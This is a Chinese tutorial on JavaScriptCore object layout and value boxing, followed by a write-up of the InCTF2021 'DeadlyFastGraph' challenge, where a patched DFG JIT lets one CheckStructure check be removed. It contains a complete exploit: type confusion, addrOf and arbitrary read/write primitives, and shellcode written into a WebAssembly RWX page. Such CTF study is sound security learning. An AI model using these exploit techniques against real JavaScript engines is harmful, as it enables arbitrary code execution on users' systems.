JSC入门与InCTF2021 DeadlyFastGraph

JSC 入门和一道入门题目的复现。

题目相关资料可在此处下载。

基础

借用参考文章中的图片描述JSC执行js代码的流程:

和 v8 类似,JSC 也有 JIT,有三种优化:BaseLine JIT、DFG JIT、FIL JIT。

直接通过js代码结合调试来观察其行为和内存布局。由于没有像 v8 一样的%SystemBreak来下断点,使用 print 函数做断点,describe 函数来打印对象信息。.gdbinit如下:

1
2
3
set args --useConcurrentJIT=false /path/to/test.js
b functionPrintStdOut
r

test.js:

1
2
3
4
5
var arr = [1.1, 2.2, 3.3];
var obj = {a:1, b:2};
debug(describe(arr));
debug(describe(obj));
print(1);
1
2
--> Object: 0x7ffff06ab5e8 with butterfly 0x7fe00cce0010 (Structure 0x7fffafcf9e30:[0x3bb9, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7ffff06bd768, Leaf]), StructureID: 15289
--> Object: 0x7fffafcbc000 with butterfly (nil) (Structure 0x7fffafcc8930:[0x9ed0, Object, {a:0, b:1}, NonArray, Proto:0x7ffff06bd3e8, Leaf]), StructureID: 40656

-8 的位置分别存放了 length 和 capacity。+0处为 JSCell,其中最重要的是最后两个字节,为 structureID,类似V8的map。CopyOnWriteArrayWithDouble表示这是一个 double 类型的数组,存储的值和原始值相同。

再看对象obj,其中两个属性a和b对应的值从+0x10偏移处顺序存放:

可以看到此时 butterfly 字段为空,如果通过obj.x = 3的形式动态添加属性,structureID 和 butterfly 都会发生改变,其属性的值存放在 butterfly-0x10处:

再次进行添加多个属性测试(只看 butterfly 中新增属性即可,因为截图时的 obj 已经改变):

1
2
3
obj.xx = 16;
obj.yy = 32;
obj.zz = 48;

可以发现其属性是按照由中间 length 字段处向低地址增长,下面的类似数组存在的部分向高地址增长,类似于蝴蝶向左右生长的翅膀?所以叫 butterfly 吧。这也就是一个 js 对象在内存中的布局:

一个 js 对象主要有以下内容:

  • +0x0: JSCell:最低两个字节是StructureID,用于查找Structure,类似于v8的Map,用来确定属性的偏移位置等
  • +0x8:butterfly:用来存储属性和数组内容
  • +0x10:从这个偏移往后存储内联属性的内容

图中 butterflyIndexingMask 在本地测试中未发现该字段。slot的顺序应该向低地址增长。关于 JSObject、JSCell等更多详细源码在~/WebKit/Source/JavaScriptCore/runtime/xxx 中。

注意看上上图和上上上图中,属性对应的值的高16bit为0xfffe,这是因为存储属性对应的值都是JSValue,存入的值是经过编码(box)的值,也就是box的值。取出时需要解码(unbox)才能得到原始的值。

关于编码的约定,在 ~/WebKit/Source/JavaScriptCore/runtime/JSCJSValue.h:392 中有如下注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
* The top 15-bits denote the type of the encoded JSValue:
*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0002:****:****:****
* Double { ...
* \ FFFC:****:****:****
* Integer { FFFE:0000:IIII:IIII
*
* The scheme we have implemented encodes double precision values by performing a
* 64-bit integer addition of the value 2^49 to the number. After this manipulation
* no encoded double-precision value will begin with the pattern 0x0000 or 0xFFFE.
* Values must be decoded by reversing this operation before subsequent floating point
* operations may be peformed.
*
* 32-bit signed integers are marked with the 16-bit tag 0xFFFE.
*
* The tag 0x0000 denotes a pointer, or another form of tagged immediate. Boolean,
* null and undefined values are represented by specific, invalid pointer values:
*
* False: 0x06
* True: 0x07
* Undefined: 0x0a
* Null: 0x02

所以第一个属性的值为 0xfffe000000000001 - 0xfffe000000000000。

所以根据此,如果对象的值为 double,-0x2000000000000 后才是真正的值:

1
var obj = {a:1.2, b:2.3};

指针的情况:

1
2
var arr = [1.1, 2.2, 3.3];
var obj = {a:1.2, b:arr};
1
2
--> Object: 0x7ffff06ab5e8 with butterfly 0x7ff85c3e0010 (Structure 0x7fffafcf9e30:[0x56c0, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7ffff06bd768, Leaf]), StructureID: 22208
--> Object: 0x7fffafcbc000 with butterfly (nil) (Structure 0x7fffafcc88c0:[0xb55c, Object, {a:0, b:1}, NonArray, Proto:0x7ffff06bd3e8, Leaf]), StructureID: 46428

可以看到指针的值没有变化。

测试一下不是同类型元素的数组:

1
var arr = [1, 2.2, {}, undefined];
1
--> Object: 0x7ffff06ab3e8 with butterfly 0x7ff8214e4038 (Structure 0x7fffafcf9c70:[0xa0d, Array, {}, ArrayWithContiguous, Proto:0x7ffff06bd768]), StructureID: 2573

可以看到数组的类型被标记为 ArrayWithContiguous,其中的值也都是box的。

测试一下CopyOnWriteArrayWithInt32

1
--> Object: 0x7ffff06ab568 with butterfly 0x7ff8191e0010 (Structure 0x7fffafcf9dc0:[0x29a8, Array, {}, CopyOnWriteArrayWithInt32, Proto:0x7ffff06bd768, Leaf]), StructureID: 10664

目前只有CopyOnWriteArrayWithDouble类型的数组,存放的数据是unbox的。

最后测试一下,对象的属性是数值的形式,键值对是如何存放的:

1
2
3
4
5
6
7
var arr = [1, 2.2, {}, undefined];;
var obj = {3:1.2, b:arr, c:2};
debug(describe(arr));
debug(describe(obj));
print(1);
obj.zz = 33;
print(1);

第一次断下:

1
2
--> Object: 0x7ffff06ab3e8 with butterfly 0x7ff82d5e4038 (Structure 0x7fffafcf9c70:[0x6418, Array, {}, ArrayWithContiguous, Proto:0x7ffff06bd768]), StructureID: 25624
--> Object: 0x7fffafcbc000 with butterfly 0x7ff82d5e4068 (Structure 0x7fffafcc88c0:[0xc88e, Object, {b:0, c:1}, NonArrayWithDouble, Proto:0x7ffff06bd3e8, Leaf]), StructureID: 51342

butterfly紧挨着的。

如果对象的键为 int,那么就以 int 为下标在 butterfly 内存对应的位置里存放数据[butterfly + int * 8],是box的。其他位置为 nan。动态添加属性然后断下:

butterfly 重新申请,并且将属性的值box以后存储在了 butterfly 的第一个属性的 slot 中了。其他未变。

box 的机制有点类似于 v8 通过最后一个bit来区分 smi 和 pointer。

InCTF2021-DeadlyFastGraph

环境搭建

1
2
3
4
5
6
7
8
git clone https://github.com/WebKit/WebKit.git
cd WebKit
git checkout c40e806df2c49dac3049825cf48251a230296c6e
patch -p1 < /path/to/dfg_debug.patch
Tools/Scripts/build-webkit --jsc-only --debug
cd WebKitBuild/Debug/bin

./jsc --useConcurrentJIT=false

patch分析

复现就用 debug 的 patch 了,因为没有去掉 print 等可供调试或可能非预期的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
diff --git a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
index eaeaf85ea2..a395a979b8 100644
--- a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
@@ -41,6 +41,8 @@
#include "PutByIdStatus.h"
#include "StructureCache.h"

+bool backdoorUsed = false;
+
namespace JSC { namespace DFG {

class ConstantFoldingPhase : public Phase {
@@ -185,7 +187,8 @@ private:
indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
}
}
- if (value.m_structure.isSubsetOf(set)) {
+ if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
+ backdoorUsed = true;
m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
node->remove(m_graph);
eliminated = true;

根据 patch 找到源码位置,看一下关键的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
class ConstantFoldingPhase : public Phase {
public:
ConstantFoldingPhase(Graph& graph)
: Phase(graph, "constant folding")
, m_state(graph)
, m_interpreter(graph, m_state)
, m_insertionSet(graph)
{
}

bool run()
{
bool changed = false;

for (BasicBlock* block : m_graph.blocksInNaturalOrder()) {
if (block->cfaThinksShouldTryConstantFolding)
changed |= foldConstants(block);
}
···
}

private:
bool foldConstants(BasicBlock* block)
{
bool changed = false;
m_state.beginBasicBlock(block);
for (unsigned indexInBlock = 0; indexInBlock < block->size(); ++indexInBlock) {
if (!m_state.isValid())
break;

Node* node = block->at(indexInBlock);

bool alreadyHandled = false;
bool eliminated = false;

switch (node->op()) {
···
case CheckStructure:
case ArrayifyToStructure: {
AbstractValue& value = m_state.forNode(node->child1());
RegisteredStructureSet set;
if (node->op() == ArrayifyToStructure) {
set = node->structure();
ASSERT(!isCopyOnWrite(node->structure()->indexingMode()));
}
else {
set = node->structureSet();
if ((SpecCellCheck & SpecEmpty) && node->child1().useKind() == CellUse && m_state.forNode(node->child1()).m_type & SpecEmpty) {
m_insertionSet.insertNode(
indexInBlock, SpecNone, AssertNotEmpty, node->origin, Edge(node->child1().node(), UntypedUse));
}
}
if (!backdoorUsed || value.m_structure.isSubsetOf(set)) {
backdoorUsed = true;
m_interpreter.execute(indexInBlock); // Catch the fact that we may filter on cell.
node->remove(m_graph);
eliminated = true;
break;
}
break;
}

通过 patch 的路径,可以看出这是 DFG JIT 阶段相关的优化(更多关于 JSC speculation 的内容可以阅读Speculation in JavaScriptCore | WebKit),函数名体现这是针对常量折叠的优化。大概流程是针对每一个BasicBlock,通过 indexInBlock 获取 node,然后对 node 的 op 进行判断,patch 位于 switch 到CheckStructure这个 case(下面的case不管了先),看对backdoorUsed的判断与另一个条件的判断为 ||,并且下面存在node->remove()eliminated=true,猜测和 v8 类似,白给了一次无条件消除CheckStructure节点。回想起解析 JSC 对象主要是通过 structure,那么消除了该节点,意味着可以传入不同 structureID 的对象,完成类型混淆。

漏洞利用

poc 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var a1 = {a: 1.1, b: 2.2, c: 3.3};
var a2 = {x: 1.2, y: 2.3};

function fun(obj, val) {
obj.c = val;
}

debug(describe(a1));
debug(describe(a2));

print(1);

for (let i = 0; i < 0x100; i++) {
fun(a1, 0x2333);
}

fun(a2, 0x1234);
print(1);

经过优化以后,最后执行的 fun() 误认 a2 为 a1,进而在属性c对应的位置赋值。

回顾基础知识中,butterfly 字段很重要。对于对象来说,初始化的属性直接存放在 butterfly 字段下面,而如果是动态添加或者对象的属性的键为 int 时,则会在 butterfly 所指向的内存中进行存储。利用过程如下:

1
2
3
4
var a1 = {a: 1.1, b: 2.2, c: 3.3, d: 4.4};
var a2 = {x: 1.2, y: 2.3};
var victim = {a: 1.1, b: 2.2, 0: 1.1};
var a3 = {a: 1.1, b: 2.2, 0: 1.1};
  1. 创建如上对象,利用漏洞覆写 a2 对象的属性 d 的位置,实际此处为 victim 的 butterfly 字段,覆写为 a3:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function foo(obj, val) {
    obj.d = val;
    }

    for (let i = 0; i < 100; i++) {
    foo(a1, a3);
    }

    foo(a2, a3);

    此时 victim 的 butterfly 指向 a3 的 JSCell 的起始内存,victim[0] 对应了 JSCell,victim[1] 对应了 a3 的 butterfly

  2. victim[2] 对应 a3 的属性 a,通过a3.a=objvictim[2]即可实现 addrOf:

    1
    2
    3
    4
    function addrOf(obj) {
    a3.a = obj;
    return f2i(victim[2]);
    }
  3. victim[1] 对应 a3 的 butterfly,那么可以随意修改其为任意地址,再通过 a3[0] 来读取和写入,实现 arbRead 与 arbWrite。但是要注意的是地址 -8 偏移处对应的是数组长度和空间大小,不能为 0:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function arbRead(addr) {
    victim[1] = i2f(addr);
    return f2i(a3[0]);
    }

    function arbWrite(addr, val) {
    victim[1] = i2f(addr);
    a3[0] = i2f(val);
    }

最后和 v8 一样,通过 wasm function,找到 rwx 段地址,任意地址写 shellcode 完成利用。

修改 victim 的 butterfly 为 a3。

在 wasm_func + 0x38 处发现了 rwx 段:

修改了 a3 的 butterfly 为 rwx 段地址并写入了 shellcode:

最终效果:

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
var buf = new ArrayBuffer(8);
var floatArr = new Float64Array(buf);
var int64Arr = new BigUint64Array(buf);

function f2i(val) {
floatArr[0] = val;
return int64Arr[0];
}

function i2f(val) {
int64Arr[0] = val;
return floatArr[0];
}

function hex(val) {
return val.toString(16);
}

function leak(info, val) {
print("[+] " + info + " ==> 0x" + hex(val));
}

var a1 = {a: 1.1, b: 2.2, c: 3.3, d: 4.4};
var a2 = {x: 1.2, y: 2.3};
var victim = {a: 1.1, b: 2.2, 0: 1.1};
var a3 = {a: 1.1, b: 2.2, 0: 1.1};

function foo(obj, val) {
obj.d = val;
}

function addrOf(obj) {
a3.a = obj;
return f2i(victim[2]);
}

function arbRead(addr) {
victim[1] = i2f(addr);
return f2i(a3[0]);
}

function arbWrite(addr, val) {
victim[1] = i2f(addr);
a3[0] = i2f(val);
}

for (let i = 0; i < 100; i++) {
foo(a1, a3);
}

foo(a2, a3);

debug(describe(a1));
debug(describe(a2));
debug(describe(victim));
debug(describe(a3));

leak("a3 butterfly", f2i(victim[1]));

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, {});
let func = wasmInstance.exports.main;

var func_addr = addrOf(func);
leak("func addr", func_addr);
debug(describe(func));
var rwx_addr = arbRead(func_addr + 0x38n);

var sc_arr = [
0x10101010101b848n, 0x62792eb848500101n, 0x431480101626d60n, 0x2f7273752fb84824n,
0x48e78948506e6962n, 0x1010101010101b8n, 0x6d606279b8485001n, 0x2404314801010162n,
0x1485e086a56f631n, 0x313b68e6894856e6n, 0x101012434810101n, 0x4c50534944b84801n,
0x6a52d231503d5941n, 0x894852e201485a08n, 0x50f583b6ae2n,
];

victim[1] = i2f(rwx_addr);
for (let i = 0; i < sc_arr.length; i++) {
a3[i] = i2f(sc_arr[i]);
}

// print(1);
func();

参考文章

  1. 2021-inCTF-DeadlyFastGraph | feather’s blog (xi4oyu.top)
  2. 从一道题学习WebKit & InCTF2021 DeadlyFastGraph-安全客 - 安全资讯平台 (anquanke.com)